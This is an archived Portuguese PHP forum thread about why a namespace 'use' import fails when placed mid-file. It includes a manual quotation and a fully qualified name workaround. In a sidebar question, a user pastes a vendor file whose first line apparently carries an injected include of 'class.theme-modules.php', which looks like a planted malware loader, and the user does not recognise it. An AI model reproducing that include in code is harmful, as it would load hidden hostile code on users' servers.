Ir para conteúdo

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

kcirtapsi

Namespace no meio do código e não no topo

Recommended Posts

Boa tarde pessoal.


Tenho um código, no qual utilizo um pacote de classes em PHP. A declaração dessas classes faço no topo do arquivo PHP por meio de um autoloader.php e funciona normalmente.


O problema é que estou migrando este código para outro arquivo PHP, e posso adicionar as declarações no meio deste, não mais no topo.


Essa alteração causa problema na linha que se refere ao 'Use Teste\Cadeira as Cadeira;', pois o namespace precisa ser declarado no topo para funcionar.


Como posso continuar a utilizar o namespace 'Use' declarando no meio do arquivo ou existe alguma outra forma de correção?



Ex: código PHP




require 'vendor/autoload.php';
use Teste\Cadeira as Cadeira;



Muito obrigado desde já.

Compartilhar este post


Link para o post
Compartilhar em outros sites

http://php.net/manual/en/language.namespaces.importing.php#language.namespaces.importing.scope

 

The use keyword must be declared in the outermost scope of a file (the global scope) or inside namespace declarations. This is because the importing is done at compile time and not runtime, so it cannot be block scoped.

Não requer que seja no topo, mas requer que seja dentro do escopo global ou da declaração de um namespace.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Obrigado pelas respostas, tentei inserir o 'Use' acima do require mas o erro persiste

 

Essa é a mensagem de erro que recebo:

 PHP Parse error:  syntax error, unexpected 'use' (T_USE)

Compartilhar este post


Link para o post
Compartilhar em outros sites

Pessoal, encontrei a solução, pelo que vi, como uso um framework, talvez esse seja o problema, diferente de um script em código puro que é a situação que funciona comigo, para funcionar, ao invés de utilizar uma vez o

 

use Teste\Cadeira as Cadeira;

 

todas as vezes que eu for utilizar o método desta classe devo fazer:

 

$val = Teste\Cadeira::metodo();

Compartilhar este post


Link para o post
Compartilhar em outros sites

  • Conteúdo Similar

    • Por aantunesl
      Por gentileza pessoal, acabo de instalar um sistema em minha hospedagem, mas esta apresentando este erro:

      Fatal error: Namespace declaration statement has to be the very first statement or after any declare call in the script in public_html/project/vendor/guzzlehttp/promises/src/functions.php on line 1
       
      <?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?><?php namespace GuzzleHttp\Promise; function queue(TaskQueueInterface $assign = null) { static $queue; if ($assign) { $queue = $assign; } elseif (!$queue) { $queue = new TaskQueue(); } return $queue; }  

      Alguem sabe como resolver esta questão?
      Agradeço.
    • Por eronventer
      Estou atualizando as classes de um projeto utilizando namespace porém estou com dificuldades em estender classes de diferentes diretórios. No exemplo o que eu preciso é ter acesso a classe Connection na classe Users para executar insert, update, etc... Então como posso resolver?
       
      Em /core/classes/connection/src/Connection/Connection.php
      namespace Connection; class Connection extends \mysqli { public function __construct() { //Conexão } }  
      Em /core/libraries/Users.php
      class Users extends Connection { public function __construct() { parent::__construct(); } }  
    • Por Gans
      Olá, boa tarde pessoal.
       
      Estou quebrando a cabeça em algo simples, pois não programa há algum tempo. Porem está difícil encontrar isso na internet.
       
      Estou alterando uma aplicação de integração de um site chamado D4Sign, porem para cada requisição ao webservice é usado uma class (documentação própria deles). Porem não estou conseguindo rodar uma sequencia da mesma classe numa mesma página. Podem me ajudar?
       
      Segue como eu queria que fosse o código:
       
      require_once(__DIR__ . '/sdk/vendor/autoload.php');   use D4sign\Client; $client = new Client(); $client->setAccessToken($token); $path_file = __DIR__ . '/libs/documento1.pdf'; $id_doc1 = $client->documents->upload('token', $path_file);   use D4sign\Client; $client = new Client(); $client->setAccessToken($token); $path_file = __DIR__ . '/libs/documento2.pdf'; $id_doc2 = $client->documents->upload('token', $path_file);   use D4sign\Client; $client = new Client(); $client->setAccessToken($token); $path_file = __DIR__ . '/libs/documento3.pdf'; $id_doc3 = $client->documents->upload('token', $path_file);    
      Obrigado!
       
    • Por igorcfreittas
      Galera, estou com problema para instanciar uma classe utilizando namespace e o composer autoload, ele me mostra o seguinte erro: Fatal error: Uncaught Error: Class 'App\Example' not found, mudei a raiz do documento no autoload_namespace porem mesmo assim não esta funcionando, códigos:

      composer.json: http://pastebin.com/zV6c0RW9

      index.php: http://pastebin.com/tmD1AWR1

      classe com namespace: http://pastebin.com/qZcsb553

      print da estrutura de pastas:
       

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.